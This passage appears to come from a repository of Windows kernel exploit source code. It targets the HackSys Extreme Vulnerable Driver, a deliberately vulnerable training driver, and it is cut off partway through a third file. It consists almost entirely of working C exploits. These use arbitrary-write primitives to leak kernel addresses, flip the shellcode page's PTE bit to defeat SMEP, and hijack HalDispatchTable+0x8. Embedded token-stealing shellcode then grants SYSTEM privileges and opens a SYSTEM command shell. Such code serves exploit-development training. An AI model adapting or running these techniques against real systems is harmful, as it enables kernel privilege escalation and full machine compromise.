| 148 | // Sending buffer to the driver 149 | 150 | // Defining lpBytesReturned parameter 151 | DWORD lpBytesReturned; 152 | DeviceIoControl( 153 | drvHandle, 154 | IOCTL_CODE, 155 | buf, 156 | sizeof(buf), 157 | NULL, 158 | 0, 159 | &lpBytesReturned, 160 | NULL 161 | ); 162 | 163 | // Print update for extracting base of the PTEs 164 | printf("[+] Extracting the base of the PTEs...\n"); 165 | 166 | // Defining variable to place base of PTEs 167 | unsigned long long pteBase = (unsigned long long)*baseofPtes; 168 | 169 | // Print update for base of the PTEs 170 | printf("[+] Base of the page table entries: 0x%llx\n", pteBase); 171 | 172 | // Bitwise operations to locate PTE of shellcode page 173 | unsigned long long shellcodePte = (unsigned long long)shellcode >> 9; 174 | shellcodePte = shellcodePte & 0x7FFFFFFFF8; 175 | shellcodePte = shellcodePte + pteBase; 176 | 177 | // Print update for shellcode's PTE page 178 | printf("[+] Shellcode's PTE is located at: 0x%llx\n", shellcodePte); 179 | 180 | // Defining pointer to extract shellcode's PTE control bits (must initialize pointer, hence placeholder) 181 | placeholder = 0; 182 | PULONGLONG ptecontrolbitsPointer = &placeholder; 183 | 184 | // Defining buffer to send to driver 185 | char buf1 [0x10]; 186 | 187 | // Initializing buffer to junk to satisfy type error of memset 188 | memset(buf1, 0x41, 0x10); 189 | 190 | // Actual buffer for extracting PTE control bits 191 | memcpy(buf1, &shellcodePte, oneQword); 192 | memcpy(&buf1[0x8], &ptecontrolbitsPointer, oneQword); 193 | 194 | // Sending buffer to the driver 195 | DeviceIoControl( 196 | drvHandle, 197 | IOCTL_CODE, 198 | buf1, 199 | sizeof(buf1), 200 | NULL, 201 | 0, 202 | &lpBytesReturned, 203 | NULL 204 | ); 205 | 206 | unsigned long long ptecontrolBits = (unsigned long long)*ptecontrolbitsPointer; 207 | 208 | // Print update for PTE control bits 209 | printf("[+] PTE control bits for shellcode page: %p\n", ptecontrolBits); 210 | 211 | // Corrupting U/S bit in PTE to make user mode page become kernel mode 212 | unsigned long long taintedPte; 213 | taintedPte = ptecontrolBits & 0xFFFFFFFFFFFFFFFB; 214 | 215 | // Defining pointer for corrupted PTE bits 216 | PULONGLONG taintedptePointer = &taintedPte; 217 | 218 | // Defining buffer to send to driver 219 | char buf2[0x10]; 220 | 221 | // Initializing buffer to junk to satisfy type error of memset 222 | memset(buf2, 0x41, 0x10); 223 | 224 | // Actual buffer for corrupting PTE 225 | memcpy(buf2, &taintedptePointer, oneQword); 226 | memcpy(&buf2[0x8], &shellcodePte, oneQword); 227 | 228 | // Print update for corrupting PTE 229 | printf("[+] Corrupting PTE of shellcode to make U/S bit kernel mode...\n"); 230 | 231 | // Sending buffer to the driver 232 | DeviceIoControl( 233 | drvHandle, 234 | IOCTL_CODE, 235 | buf2, 236 | sizeof(buf2), 237 | NULL, 238 | 0, 239 | &lpBytesReturned, 240 | NULL 241 | ); 242 | 243 | // Print update for corrupted PTE 244 | printf("[+] PTE of shellcode is now kernel mode! Sorry, SMEP!\n"); 245 | 246 | // Preserving current [nt!HalDispatchTable+0x8] and restoring execution 247 | unsigned long long haldispatchTable = baseAddress + 0x2f43b8; 248 | 249 | // Print update for preserving address 250 | printf("[+] Preserving address of nt!HalDispatchTable+0x8->hal!HaliQuerySystemInformation...\n"); 251 | 252 | // Defining pointer to write [nt!HalDispatchTable+0x8] 253 | placeholder = 0; 254 | PULONGLONG preserveHal = &placeholder; 255 | 256 | // Defining buffer to send to driver 257 | char buf3 [0x10]; 258 | 259 | // Initializing buffer to junk to satisfy type error of memset 260 | memset(buf3, 0x41, 0x10); 261 | 262 | // Actual buffer for extracting the legitimate [nt!HalDispatchTable+0x8] 263 | memcpy(buf3, &haldispatchTable, oneQword); 264 | memcpy(&buf3[0x8], &preserveHal, oneQword); 265 | 266 | // Sending buffer to the driver 267 | DeviceIoControl( 268 | drvHandle, 269 | IOCTL_CODE, 270 | buf3, 271 | sizeof(buf3), 272 | NULL, 273 | 0, 274 | &lpBytesReturned, 275 | NULL 276 | ); 277 | 278 | // Defining variable to place [nt!HalDispatchTable+0x8] 279 | unsigned long long legitimateHal = (unsigned long long)*preserveHal; 280 | 281 | // Print update for preserving [nt!HalDispatchTable] 282 | printf("[+] nt!HalDispatchTable+0x8->hal!HaliQuerySystemInformation is located at: 0x%llx\n", legitimateHal); 283 | 284 | // Defining pointer for shellcode (shellcode is alread LPVOID, so setting pointer to shellcode as LPVOID to avoid type cast) 285 | LPVOID shellcodePointer = &shellcode; 286 | 287 | // Print update for nt!HalDispatchTable+0x8 location 288 | printf("[+] nt!HalDispatchTable+0x8 is located at: 0x%llx\n", haldispatchTable); 289 | 290 | // Defining buffer to send to driver 291 | char buf4[0x10]; 292 | 293 | // Initializing buffer to junk to satisfy type error of memset 294 | memset(buf4, 0x41, 0x10); 295 | 296 | // Actual buffer for overwriting [nt!HalDispatchTable+0x8] with shellcode address 297 | memcpy(buf4, &shellcodePointer, oneQword); 298 | memcpy(&buf4[0x8], &haldispatchTable, oneQword); 299 | 300 | // Sending buffer to the driver 301 | DeviceIoControl( 302 | drvHandle, 303 | IOCTL_CODE, 304 | buf4, 305 | sizeof(buf4), 306 | NULL, 307 | 0, 308 | &lpBytesReturned, 309 | NULL 310 | ); 311 | 312 | // Print update for overwriting [nt!HalDispatchTable+0x8] 313 | printf("[+] Overwrote [nt!HalDispatchTable+0x8] with shellcode address...\n"); 314 | 315 | // Locating nt!NtQueryIntervalProfile 316 | NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress( 317 | GetModuleHandle( 318 | TEXT("ntdll.dll")), 319 | "NtQueryIntervalProfile" 320 | ); 321 | 322 | // Error handling 323 | if (!NtQueryIntervalProfile) 324 | { 325 | printf("[-] Error! Unable to find ntdll!NtQueryIntervalProfile! Error: %d\n", GetLastError()); 326 | exit(1); 327 | } 328 | 329 | // Print update for found ntdll!NtQueryIntervalProfile 330 | printf("[+] Located ntdll!NtQueryIntervalProfile at: 0x%llx\n", NtQueryIntervalProfile); 331 | 332 | // Invoking nt!NtQueryIntervalProfile to execute [nt!HalDispatchTable+0x8] 333 | printf("[+] Calling nt!NtQueryIntervalProfile to execute [nt!HalDispatchTable+0x8]...\n"); 334 | 335 | // Print update for found ntdll!NtQueryIntervalProfile 336 | // Calling nt!NtQueryIntervalProfile and defining parameter 337 | ULONG exploit = 0; 338 | NtQueryIntervalProfile( 339 | 0x1234, 340 | &exploit 341 | ); 342 | 343 | // Restoring [nt!HalDispatchTable+0x8] 344 | 345 | // Defining pointer for [nt!HalDispatchTable+0x8] 346 | PULONGLONG restoreHal = &legitimateHal; 347 | 348 | // Print update for restoring [nt!HalDispatchTable+0x8] 349 | printf("[+] Attempting to restore [nt!HalDispatchTable+0x8] with hal!HaliQuerySystemInformation...\n"); 350 | 351 | // Defining buffer to send to driver 352 | char buf5[0x10]; 353 | 354 | // Initializing buffer to junk to satisfy type error of memset 355 | memset(buf5, 0x41, 0x10); 356 | 357 | // Actual buffer for overwriting [nt!HalDispatchTable+0x8] with shellcode address 358 | memcpy(buf5, &restoreHal, oneQword); 359 | memcpy(&buf5[0x8], &haldispatchTable, oneQword); 360 | 361 | // Sending buffer to the driver 362 | DeviceIoControl( 363 | drvHandle, 364 | IOCTL_CODE, 365 | buf5, 366 | sizeof(buf5), 367 | NULL, 368 | 0, 369 | &lpBytesReturned, 370 | NULL 371 | ); 372 | 373 | // Print update for newly restored [nt!HalDispatchTable+0x8] 374 | printf("[+] Restored [nt!HalDispatchTable+0x8]!\n"); 375 | 376 | // Print update for NT AUTHORITY\SYSTEM shell 377 | printf("[+] Enjoy the NT AUTHORITY\\SYSTEM shell!\n"); 378 | 379 | // Spawning an NT AUTHORITY\SYSTEM shell 380 | system("cmd.exe /c cmd.exe /K cd C:\\"); 381 | } 382 | 383 | int main() 384 | { 385 | exploitWork(); 386 | 387 | return 0; 388 | } 389 | -------------------------------------------------------------------------------- /HEVD/Write-What-Where/Windows10_Write_What_Where2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define IOCTL_CODE 0x0022200B 6 | 7 | // Prepping call to nt!NtQueryIntervalProfile 8 | typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval); 9 | 10 | unsigned long long kernelBase(void) 11 | { 12 | // Defining EnumDeviceDrivers() parameters 13 | LPVOID lpImageBase[1024]; 14 | DWORD lpcbNeeded; 15 | 16 | // Calling EnumDeviceDrivers() 17 | printf("[+] Calling EnumDeviceDrivers()...\n"); 18 | 19 | BOOL baseofDrivers = EnumDeviceDrivers( 20 | lpImageBase, 21 | sizeof(lpImageBase), 22 | &lpcbNeeded 23 | ); 24 | 25 | // Error handling 26 | if (!baseofDrivers) 27 | { 28 | printf("[-] Error! Unable to invoke EnumDeviceDrivers(). Error: %d\n", GetLastError()); 29 | exit(1); 30 | } 31 | 32 | // ntoskrnl.exe is the first module dumped in the array 33 | // Typcasting LPVOID to unsigned long long 34 | unsigned long long krnlBase = (unsigned long long)lpImageBase[0]; 35 | 36 | // Print update for kernel base 37 | printf("[+] Found kernel leak!\n"); 38 | printf("[+] ntoskrnl.exe is located at: 0x%llx\n", krnlBase); 39 | 40 | return krnlBase; 41 | } 42 | 43 | // nt!MiGetPteAddress and nt!MiInitializeTransitionPfn+0x37 have the same routine 44 | // This function dereferences all of the memory in ntoskrnl.exe via a one QWORD vanilla arbitrary read/write primitive and looks for the opcodes that make up these functions 45 | // The base of the PTEs in each function are at the same offset of 0x13 from the beginning of the routine 46 | unsigned long long findpteBase(void) 47 | { 48 | // Return value of ntoskrnl.exe here 49 | unsigned long long baseAddress = kernelBase(); 50 | 51 | // Defining variable for pointer to ntoskrnl.exe base address 52 | unsigned long long temporaryVariable = baseAddress; 53 | PULONGLONG kernelPointer = &temporaryVariable; 54 | 55 | // Defining variable to write the current address of ntoskrnl.exe into (0x1 byte at a time) 56 | unsigned long long temporaryVariable2 = NULL; 57 | PULONGLONG dereferencedContents = &temporaryVariable2; 58 | 59 | // Defining vairable to dereference the current ntoskrnl.exe address for the opcodes 60 | unsigned long long temporaryVariable3 = NULL; 61 | PULONGLONG checkSignature = &temporaryVariable3; 62 | 63 | // Defining buffer for looping ntoskrnl.exe 64 | char buf[0x10]; 65 | size_t oneQword = 0x8; 66 | 67 | // Initializing buffer to junk to satisfy type error of memset and defining actual buffer 68 | memset(buf, 0x41, 0x10); 69 | memcpy(buf, &kernelPointer, oneQword); 70 | memcpy(&buf[0x8], &dereferencedContents, oneQword); 71 | 72 | // Defining buffer for dereferencing memory and searching for the nt!MiGetPteAddress signature 73 | char buf1[0x10]; 74 | 75 | /* 76 | 0: kd> u nt!MiGetPteAddress 77 | nt!MiGetPteAddress: 78 | fffff800`ef2255f4 48c1e909 shr rcx,9 79 | fffff800`ef2255f8 48b8f8ffffff7f000000 mov rax,7FFFFFFFF8h 80 | fffff800`ef225602 4823c8 and rcx,rax 81 | fffff800`ef225605 48b80000000000f5ffff mov rax,0FFFFF50000000000h 82 | fffff800`ef22560f 4803c1 add rax,rcx 83 | fffff800`ef225612 c3 ret 84 | fffff800`ef225613 cc int 3 85 | fffff800`ef225614 cc int 3 86 | 0: kd> u nt!MiInitializeTransitionPfn+0x37 87 | fffff801`d1a88937 48c1e909 shr rcx,9 88 | fffff801`d1a8893b 48b8f8ffffff7f000000 mov rax,7FFFFFFFF8h 89 | fffff801`d1a88945 4823c8 and rcx,rax 90 | fffff801`d1a88948 48b80000000000f5ffff mov rax,0FFFFF50000000000h 91 | fffff801`d1a88952 4803c8 add rcx,rax 92 | fffff801`d1a88955 e89ed90200 call nt!MI_READ_PDE (fffff801`d1ab62f8) 93 | fffff801`d1a8895a 488d4c2450 lea rcx,[rsp+50h] 94 | fffff801`d1a8895f 4889442450 mov qword ptr [rsp+50h],rax 95 | */ 96 | unsigned long long miSignature = 0xfff8b84809e9c148; 97 | 98 | // Defining lpBytesReturned parameter 99 | DWORD lpBytesReturned; 100 | 101 | // Obtaining handle to the driver 102 | printf("[+] Obtaining handle to the driver via CreateFileA()...\n"); 103 | HANDLE drvHandle = CreateFileA( 104 | "\\\\.\\HackSysExtremeVulnerableDriver", 105 | 0xC0000000, 106 | 0x0, 107 | NULL, 108 | 0x3, 109 | 0x0, 110 | NULL 111 | ); 112 | 113 | // Print update statement 114 | printf("[+] Dereferencing memory in ntoskrnl.exe to find nt!MiGetPteAddress or nt!MiInitializeTransitionPfn+0x37...\n"); 115 | 116 | // Loop ntoskrnl.exe 117 | // ntoskrnl.exe ~ 0x822000 bytes 118 | for (int i = 0; i < 0x822000; i++) 119 | { 120 | // Extract current address of ntoskrnl.exe (0x1 byte at a time increase) to dereferencedContents 121 | DeviceIoControl( 122 | drvHandle, 123 | IOCTL_CODE, 124 | buf, 125 | sizeof(buf), 126 | NULL, 127 | 0, 128 | &lpBytesReturned, 129 | NULL 130 | ); 131 | 132 | // Actual extraction of the current memory address in ntoskrnl.exe being checked 133 | unsigned long long temporaryVariable4 = *dereferencedContents; 134 | 135 | // Initializing buffer to junk to satisfy type error of memset and defining actual buffer 136 | memset(buf1, 0x41, 0x10); 137 | memcpy(buf1, &temporaryVariable4, oneQword); 138 | memcpy(&buf1[0x8], &checkSignature, oneQword); 139 | 140 | // Extract opcodes from current address in ntoskrnl.exe to prepare signature check 141 | DeviceIoControl( 142 | drvHandle, 143 | IOCTL_CODE, 144 | buf1, 145 | sizeof(buf1), 146 | NULL, 147 | 0, 148 | &lpBytesReturned, 149 | NULL 150 | ); 151 | 152 | // Dereference contents of arbitrary write to extract current address 153 | unsigned long long miCheck = *checkSignature; 154 | 155 | if (miCheck == miSignature) 156 | { 157 | unsigned long long mitemporaryAddress = temporaryVariable4; 158 | unsigned long long miAddress = mitemporaryAddress+0x13; 159 | printf("[+] Found either nt!MiGetPteAddress or nt!MiInitializeTransitionPfn+0x37!\n"); 160 | printf("[+] The address 0x%llx points to the base of the page table entries!\n", miAddress); 161 | 162 | return miAddress; 163 | } 164 | else 165 | { 166 | // Didn't find the intended address? Increase the current address one byte 167 | temporaryVariable++; 168 | } 169 | } 170 | 171 | // We aren't passing our handle to the driver to the next function, so close it 172 | CloseHandle( 173 | drvHandle 174 | ); 175 | } 176 | 177 | // Extract PTE base, create shellcode, calculate PTE of shellcode, extract PTE control bits, 178 | void exploitWork(void) 179 | { 180 | // Store pointer to PTEs in holdPtes variable 181 | unsigned long long ptePointer = findpteBase(); 182 | 183 | // Create variable + pointer to extract base of the PTEs 184 | unsigned long long temporaryVariable5 = NULL; 185 | PULONGLONG pteExtract = &temporaryVariable5; 186 | 187 | // Defining buffer for looping ntoskrnl.exe 188 | char buf2[0x10]; 189 | size_t oneQword = 0x8; 190 | 191 | // Initializing buffer to junk to satisfy type error of memset and defining actual buffer 192 | memset(buf2, 0x41, 0x10); 193 | memcpy(buf2, &ptePointer, oneQword); 194 | memcpy(&buf2[0x8], &pteExtract, oneQword); 195 | 196 | // Open handle again to the driver 197 | HANDLE drvHandle = CreateFileA( 198 | "\\\\.\\HackSysExtremeVulnerableDriver", 199 | 0xC0000000, 200 | 0x0, 201 | NULL, 202 | 0x3, 203 | 0x0, 204 | NULL 205 | ); 206 | 207 | // Defining lpBytesReturned parameter 208 | DWORD lpBytesReturned; 209 | 210 | // Send buffer to the driver 211 | DeviceIoControl( 212 | drvHandle, 213 | IOCTL_CODE, 214 | buf2, 215 | sizeof(buf2), 216 | NULL, 217 | 0, 218 | &lpBytesReturned, 219 | NULL 220 | ); 221 | 222 | // Extract PTE base 223 | unsigned long long pteBase = *pteExtract; 224 | 225 | // Print update 226 | printf("[+] Successfully extracted the base of the page table entries!\n"); 227 | printf("[+] The base of the PTEs are located at: 0x%llx\n", pteBase); 228 | 229 | // Creating shellcode 230 | /* 231 | [BITS 64] 232 | _start: 233 | mov rax, [gs:0x188] ; Current thread (_KTHREAD) 234 | mov rax, [rax + 0xb8] ; Current process (_EPROCESS) 235 | mov rbx, rax ; Copy current process (_EPROCESS) to rbx 236 | __loop: 237 | mov rbx, [rbx + 0x2e8] ; ActiveProcessLinks 238 | sub rbx, 0x2e8 ; Go back to current process (_EPROCESS) 239 | mov rcx, [rbx + 0x2e0] ; UniqueProcessId (PID) 240 | cmp rcx, 4 ; Compare PID to SYSTEM PID 241 | jnz __loop ; Loop until SYSTEM PID is found 242 | mov rcx, [rbx + 0x358] ; SYSTEM token is @ offset _EPROCESS + 0x358 243 | and cl, 0xf0 ; Clear out _EX_FAST_REF RefCnt 244 | mov [rax + 0x358], rcx ; Copy SYSTEM token to current process 245 | xor rax, rax ; STATUS_SUCCESS 246 | ret ; Done! 247 | */ 248 | 249 | // Windows 10 RS1 offsets in _EPROCESS structure 250 | char payload[] = "\x65\x48\x8B\x04\x25\x88\x01\x00\x00" 251 | "\x48\x8B\x80\xB8\x00\x00\x00" 252 | "\x48\x89\xC3\x48\x8B\x9B\xF0\x02\x00\x00" 253 | "\x48\x81\xEB\xF0\x02\x00\x00" 254 | "\x48\x8B\x8B\xE8\x02\x00\x00" 255 | "\x48\x83\xF9\x04\x75\xE5" 256 | "\x48\x8B\x8B\x58\x03\x00\x00" 257 | "\x80\xE1\xF0\x48\x89\x88\x58\x03\x00\x00" 258 | "\x48\x31\xC0\xC3"; 259 | 260 | // Allocating shellcode in user mode 261 | LPVOID shellcode = VirtualAlloc( 262 | NULL, 263 | sizeof(payload), 264 | 0x3000, 265 | 0x40 266 | ); 267 | 268 | // Error handling 269 | if (!shellcode) 270 | { 271 | printf("[-] Error! Unable to allocate shellcode in user mode. Error: %d\n", GetLastError()); 272 | exit(1); 273 | } 274 | 275 | // Moving memory into allocated space in user mode 276 | RtlMoveMemory( 277 | shellcode, 278 | payload, 279 | sizeof(payload) 280 | ); 281 | 282 | // Print update for shellcode 283 | printf("[+] Shellcode is located at: 0x%llx\n", shellcode); 284 | 285 | // Bitwise operations to locate PTE of shellcode page 286 | unsigned long long shellcodePte = (unsigned long long)shellcode >> 9; 287 | shellcodePte = shellcodePte & 0x7FFFFFFFF8; 288 | shellcodePte = shellcodePte + pteBase; 289 | 290 | // Print update for shellcode's PTE page 291 | printf("[+] Shellcode's PTE is located at: 0x%llx\n", shellcodePte); 292 | 293 | // Defining pointer to extract shellcode's PTE control bits (must initialize pointer, hence placeholder) 294 | unsigned long long temporaryVariable6 = 0; 295 | PULONGLONG ptecontrolbitsPointer = &temporaryVariable6; 296 | 297 | // Defining buffer to send to driver 298 | char buf3[0x10]; 299 | 300 | // Initializing buffer to junk to satisfy type error of memset 301 | memset(buf3, 0x41, 0x10); 302 | 303 | // Actual buffer for extracting PTE control bits 304 | memcpy(buf3, &shellcodePte, oneQword); 305 | memcpy(&buf3[0x8], &ptecontrolbitsPointer, oneQword); 306 | 307 | // Sending buffer to the driver 308 | DeviceIoControl( 309 | drvHandle, 310 | IOCTL_CODE, 311 | buf3, 312 | sizeof(buf3), 313 | NULL, 314 | 0, 315 | &lpBytesReturned, 316 | NULL 317 | ); 318 | 319 | // Extracting the PTE control bits 320 | unsigned long long ptecontrolBits = (unsigned long long) * ptecontrolbitsPointer; 321 | 322 | // Print update for PTE control bits 323 | printf("[+] PTE control bits for shellcode page: %p\n", ptecontrolBits); 324 | 325 | // Corrupting U/S bit in PTE to make user mode page become kernel mode 326 | unsigned long long taintedPte; 327 | taintedPte = ptecontrolBits & 0xFFFFFFFFFFFFFFFB; 328 | 329 | // Defining pointer for corrupted PTE bits 330 | PULONGLONG taintedptePointer = &taintedPte; 331 | 332 | // Defining buffer to send to driver 333 | char buf4[0x10]; 334 | 335 | // Initializing buffer to junk to satisfy type error of memset 336 | memset(buf4, 0x41, 0x10); 337 | 338 | // Actual buffer for corrupting PTE 339 | memcpy(buf4, &taintedptePointer, oneQword); 340 | memcpy(&buf4[0x8], &shellcodePte, oneQword); 341 | 342 | // Print update for corrupting PTE 343 | printf("[+] Corrupting PTE of shellcode to make U/S bit kernel mode...\n"); 344 | 345 | // Sending buffer to the driver 346 | DeviceIoControl( 347 | drvHandle, 348 | IOCTL_CODE, 349 | buf4, 350 | sizeof(buf4), 351 | NULL, 352 | 0, 353 | &lpBytesReturned, 354 | NULL 355 | ); 356 | 357 | // Print update for corrupted PTE 358 | printf("[+] PTE of shellcode is now kernel mode!\n"); 359 | 360 | // Return value from ntoskrnl.exe base function to exploitWork() to calculate nt!HalDispatchTable 361 | unsigned long long baseAddress1 = kernelBase(); 362 | 363 | // Locating nt!HalDispatchTable+0x8 364 | unsigned long long haldispatchTable8; 365 | 366 | // Load kernel modules 367 | HMODULE base = LoadLibraryExA( 368 | "ntoskrnl.exe", 369 | NULL, 370 | 0x1 371 | ); 372 | 373 | // Locate nt!HalDispatchTable+0x8 374 | PVOID functionAddr = GetProcAddress( 375 | base, 376 | "HalDispatchTable" 377 | ); 378 | 379 | haldispatchTable8 = (baseAddress1 + (ULONG_PTR)functionAddr) - (ULONG_PTR)base + 0x8; 380 | 381 | // Print update 382 | printf("[+] Found nt!HalDispatchTable+0x8 at: 0xllx\n", haldispatchTable8); 383 | 384 | // Defining pointer to write [nt!HalDispatchTable+0x8] 385 | unsigned long long temporaryVariable7 = 0; 386 | PULONGLONG preserveHal = &temporaryVariable7; 387 | 388 | // Defining buffer to send to driver 389 | char buf5[0x10]; 390 | 391 | // Initializing buffer to junk to satisfy type error of memset 392 | memset(buf5, 0x41, 0x10); 393 | 394 | // Actual buffer for extracting the legitimate [nt!HalDispatchTable+0x8] 395 | memcpy(buf5, &haldispatchTable8, oneQword); 396 | memcpy(&buf5[0x8], &preserveHal, oneQword); 397 | 398 | // Sending buffer to the driver 399 | DeviceIoControl( 400 | drvHandle, 401 | IOCTL_CODE, 402 | buf5, 403 | sizeof(buf5), 404 | NULL, 405 | 0, 406 | &lpBytesReturned, 407 | NULL 408 | ); 409 | 410 | // Defining variable to place [nt!HalDispatchTable+0x8] 411 | unsigned long long legitimateHal = (unsigned long long) * preserveHal; 412 | 413 | // Print update for preserving [nt!HalDispatchTable] 414 | printf("[+] nt!HalDispatchTable+0x8->hal!HaliQuerySystemInformation is located at: 0x%llx\n", legitimateHal); 415 | 416 | // Defining pointer for shellcode (shellcode is alread LPVOID, so setting pointer to shellcode as LPVOID to avoid type cast) 417 | LPVOID shellcodePointer = &shellcode; 418 | 419 | // Defining buffer to send to driver 420 | char buf6[0x10]; 421 | 422 | // Initializing buffer to junk to satisfy type error of memset 423 | memset(buf6, 0x41, 0x10); 424 | 425 | // Actual buffer for overwriting [nt!HalDispatchTable+0x8] with shellcode address 426 | memcpy(buf6, &shellcodePointer, oneQword); 427 | memcpy(&buf6[0x8], &haldispatchTable8, oneQword); 428 | 429 | // Sending buffer to the driver 430 | DeviceIoControl( 431 | drvHandle, 432 | IOCTL_CODE, 433 | buf6, 434 | sizeof(buf6), 435 | NULL, 436 | 0, 437 | &lpBytesReturned, 438 | NULL 439 | ); 440 | 441 | // Print update for overwriting [nt!HalDispatchTable+0x8] 442 | printf("[+] Overwrote [nt!HalDispatchTable+0x8] with shellcode address...\n"); 443 | 444 | // Locating nt!NtQueryIntervalProfile 445 | NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress( 446 | GetModuleHandle( 447 | TEXT("ntdll.dll")), 448 | "NtQueryIntervalProfile" 449 | ); 450 | 451 | // Error handling 452 | if (!NtQueryIntervalProfile) 453 | { 454 | printf("[-] Error! Unable to find ntdll!NtQueryIntervalProfile! Error: %d\n", GetLastError()); 455 | exit(1); 456 | } 457 | 458 | // Print update for found ntdll!NtQueryIntervalProfile 459 | printf("[+] Located ntdll!NtQueryIntervalProfile at: 0x%llx\n", NtQueryIntervalProfile); 460 | 461 | // Invoking nt!NtQueryIntervalProfile to execute [nt!HalDispatchTable+0x8] 462 | printf("[+] Calling nt!NtQueryIntervalProfile to execute [nt!HalDispatchTable+0x8]...\n"); 463 | 464 | // Print update for found ntdll!NtQueryIntervalProfile 465 | // Calling nt!NtQueryIntervalProfile and defining parameter 466 | ULONG exploit = 0; 467 | NtQueryIntervalProfile( 468 | 0x1234, 469 | &exploit 470 | ); 471 | 472 | // Restoring [nt!HalDispatchTable+0x8] 473 | 474 | // Defining pointer for [nt!HalDispatchTable+0x8] 475 | PULONGLONG restoreHal = &legitimateHal; 476 | 477 | // Print update for restoring [nt!HalDispatchTable+0x8] 478 | printf("[+] Attempting to restore [nt!HalDispatchTable+0x8] with hal!HaliQuerySystemInformation...\n"); 479 | 480 | // Defining buffer to send to driver 481 | char buf7[0x10]; 482 | 483 | // Initializing buffer to junk to satisfy type error of memset 484 | memset(buf7, 0x41, 0x10); 485 | 486 | // Actual buffer for overwriting [nt!HalDispatchTable+0x8] with shellcode address 487 | memcpy(buf7, &restoreHal, oneQword); 488 | memcpy(&buf7[0x8], &haldispatchTable8, oneQword); 489 | 490 | // Sending buffer to the driver 491 | DeviceIoControl( 492 | drvHandle, 493 | IOCTL_CODE, 494 | buf7, 495 | sizeof(buf7), 496 | NULL, 497 | 0, 498 | &lpBytesReturned, 499 | NULL 500 | ); 501 | 502 | // Print update for newly restored [nt!HalDispatchTable+0x8] 503 | printf("[+] Restored [nt!HalDispatchTable+0x8]!\n"); 504 | 505 | // Print update for NT AUTHORITY\SYSTEM shell 506 | printf("[+] Enjoy the NT AUTHORITY\\SYSTEM shell!\n"); 507 | 508 | // Spawning an NT AUTHORITY\SYSTEM shell 509 | system("cmd.exe /c cmd.exe /K cd C:\\"); 510 | 511 | } 512 | 513 | int main(void) 514 | { 515 | exploitWork(); 516 | 517 | return 0; 518 | } 519 | -------------------------------------------------------------------------------- /HEVD/Write-What-Where/kCFG_Bypass.c: -------------------------------------------------------------------------------- 1 | // HackSys Extreme Vulnerable Driver Kernel Exploit (x64 Arbitrary Overwrite & SMEP Enabled/kCFG enabled) 2 | // Author: Connor McGarr 3 | // Compilation on Windows via gcc: gcc kCFG_Bypass.c -o exploit.exe -lpsapi 4 | 5 | #include 6 | #include 7 | #include 8 | 9 | #define IOCTL_CODE 0x0022200B 10 | 11 | // Defining KUSER_SHARED_DATA+0x800 as a global variable 12 | unsigned long long KUSER_SHARED_DATA = 0xFFFFF78000000800; 13 | unsigned long long KUSER_SHARED_DATA_8 = 0xFFFFF78000000808; 14 | unsigned long long KUSER_SHARED_DATA_10 = 0xFFFFF78000000810; 15 | unsigned long long KUSER_SHARED_DATA_18 = 0xFFFFF78000000818; 16 | unsigned long long KUSER_SHARED_DATA_20 = 0xFFFFF78000000820; 17 | unsigned long long KUSER_SHARED_DATA_28 = 0xFFFFF78000000828; 18 | unsigned long long KUSER_SHARED_DATA_30 = 0xFFFFF78000000830; 19 | unsigned long long KUSER_SHARED_DATA_38 = 0xFFFFF78000000838; 20 | unsigned long long KUSER_SHARED_DATA_40 = 0xFFFFF78000000840; 21 | 22 | unsigned long long kernelBase(char name[]) 23 | { 24 | // Defining EnumDeviceDrivers() and GetDeviceDriverBaseNameA() parameters 25 | LPVOID lpImageBase[1024]; 26 | DWORD lpcbNeeded; 27 | int drivers; 28 | char lpFileName[1024]; 29 | unsigned long long imageBase; 30 | 31 | BOOL baseofDrivers = EnumDeviceDrivers( 32 | lpImageBase, 33 | sizeof(lpImageBase), 34 | &lpcbNeeded 35 | ); 36 | 37 | // Error handling 38 | if (!baseofDrivers) 39 | { 40 | printf("[-] Error! Unable to invoke EnumDeviceDrivers(). Error: %d\n", GetLastError()); 41 | exit(1); 42 | } 43 | 44 | // Defining number of drivers for GetDeviceDriverBaseNameA() 45 | drivers = lpcbNeeded / sizeof(lpImageBase[0]); 46 | 47 | // Parsing loaded drivers 48 | for (int i = 0; i < drivers; i++) 49 | { 50 | GetDeviceDriverBaseNameA( 51 | lpImageBase[i], 52 | lpFileName, 53 | sizeof(lpFileName) / sizeof(char) 54 | ); 55 | 56 | // Keep looping, until found, to find user supplied driver base address 57 | if (!strcmp(name, lpFileName)) 58 | { 59 | imageBase = (unsigned long long)lpImageBase[i]; 60 | 61 | // Exit loop 62 | break; 63 | } 64 | } 65 | 66 | return imageBase; 67 | } 68 | 69 | void exploitWork(void) 70 | { 71 | /* 72 | 73 | [BITS 64] 74 | _start: 75 | mov rax, [gs:0x188] ; Current thread (_KTHREAD) 76 | mov rax, [rax + 0xb8] ; Current process (_EPROCESS) 77 | mov rbx, rax ; Copy current process (_EPROCESS) to rbx 78 | __loop: 79 | mov rbx, [rbx + 0x2f0] ; ActiveProcessLinks 80 | sub rbx, 0x2f0 ; Go back to current process (_EPROCESS) 81 | mov rcx, [rbx + 0x2e8] ; UniqueProcessId (PID) 82 | cmp rcx, 4 ; Compare PID to SYSTEM PID 83 | jnz __loop ; Loop until SYSTEM PID is found 84 | mov rcx, [rbx + 0x360] ; SYSTEM token is @ offset _EPROCESS + 0x358 85 | and cl, 0xf0 ; Clear out _EX_FAST_REF RefCnt 86 | mov [rax + 0x360], rcx ; Copy SYSTEM token to current process 87 | xor rax, rax ; STATUS_SUCCESS 88 | ret ; Done! 89 | */ 90 | 91 | // One QWORD arbitrary write 92 | // Shellcode is 67 bytes (67/8 = 9 unsigned long longs) 93 | unsigned long long shellcode1 = 0x00018825048B4865; 94 | unsigned long long shellcode2 = 0x000000B8808B4800; 95 | unsigned long long shellcode3 = 0x02F09B8B48C38948; 96 | unsigned long long shellcode4 = 0x0002F0EB81480000; 97 | unsigned long long shellcode5 = 0x000002E88B8B4800; 98 | unsigned long long shellcode6 = 0x8B48E57504F98348; 99 | unsigned long long shellcode7 = 0xF0E180000003608B; 100 | unsigned long long shellcode8 = 0x4800000360888948; 101 | unsigned long long shellcode9 = 0x0000000000C3C031; 102 | 103 | // Creating pointers for each 